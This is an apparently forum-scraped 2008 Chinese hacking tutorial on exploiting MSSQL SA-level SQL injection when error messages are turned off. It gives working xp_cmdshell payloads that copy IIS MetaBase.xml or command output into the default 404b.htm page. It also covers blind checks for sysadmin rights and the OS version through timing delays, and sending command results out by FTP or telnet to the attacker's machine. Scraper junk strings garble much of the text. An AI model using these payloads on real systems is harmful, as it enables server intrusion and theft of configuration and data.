遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
# p5 o) A; I5 ?. ~3 o: U( c
1 Q( G4 U% v2 K* a! x/ a6 O P 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
8 B% Y4 t; m: T6 r8 g( h
2 }( ]& O' q7 J' X 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。( }8 S# G! N) g, f2 h3 s+ \0 K
" U9 J% [' @$ J- O& H; h
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
; q$ s' t- B! |0 W* y( ?4 q' B( f* T% y
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--$ I M, a: H. b
3 l4 N X& t8 Y4 J ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。* |" R) ~* H3 [5 s5 x6 ~0 k
; t9 S3 N# {, j$ Y" q) g. ? 执行命令得到回显
% q# G9 ?# L2 s/ j6 |' z* V" O
s) R/ U% [1 g: S; g 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
2 O0 ]$ k; V- t4 j+ E5 s7 s- G
% Y0 S& m; Q9 h; G 得到文件也shi相同,把文件copy到404b.htm就行了
" c+ j- r& ~; m- U! P+ h% X. o( j$ n1 ?
by 28ice, 2008/6/26& q( e x; a5 X
% z: `# h S6 _4 Z7 a 摘自 28度的冰
* S+ o& G ?% |3 D
?$ e( [& L4 T4 m, [3 k8 i- b4 F 盲注判断权限和操作系统版本
4 X/ X% c5 S a2 r, ~) [: N' u
) `" Z! P( L! j& b% ?. ^: W( p 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?4 C: H7 ^% @/ K
V; _5 i& [$ T3 Z6 ~9 s" T( f 最简单的,可能以用这样的方法:
1 m% _, Z1 P' k+ \3 h1 w; r
0 q9 `* C( T: `# F0 [ 1=(select IS_SRVROLEMEMBER(’sysadmin’))+ Z! v8 ?4 y8 k3 k7 c
/ Y2 t; v b; O
当然,有些情况下,这个方法并不奏效。/ }) u2 i* o4 w; C$ `
8 {! A+ `5 u9 a. ` { O
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。- A7 |; E% p' q
( j9 i2 ]7 s; t9 ] 有个3办法可能以解决这个问题5 _/ l# ]( N) P1 w. ] B4 p
; d, x" N( C" J- f
a.把执行结果写到404b.htm,具体请看我的上一篇文章. W0 P0 g- ]8 G0 P' N9 R
" P. f. l' |2 ^; s% o4 I' `/ @
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟6 O) |9 @; ?7 x
7 M% F. _8 t+ e c.如果1433端口可能以连接,那干脆新建个sql登录
; R: ^2 z* H! M# f2 O2 o' h) `* d' w, q) ^. z8 d
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数" a M$ k2 v' n. x) R& Z
9 F/ l% f" H+ b" m
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下% b0 b* s, y9 I
0 `- \, |- A; W 很简单
4 i' P8 Y: E5 I. ]: g3 t
6 m& P3 P; f5 @' U7 [6 x7 S0 B, Y 执行systeminfo
# l. x! R! O( y. j$ |/ F: h
0 T4 Q z- B ^8 i' |) D' H 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |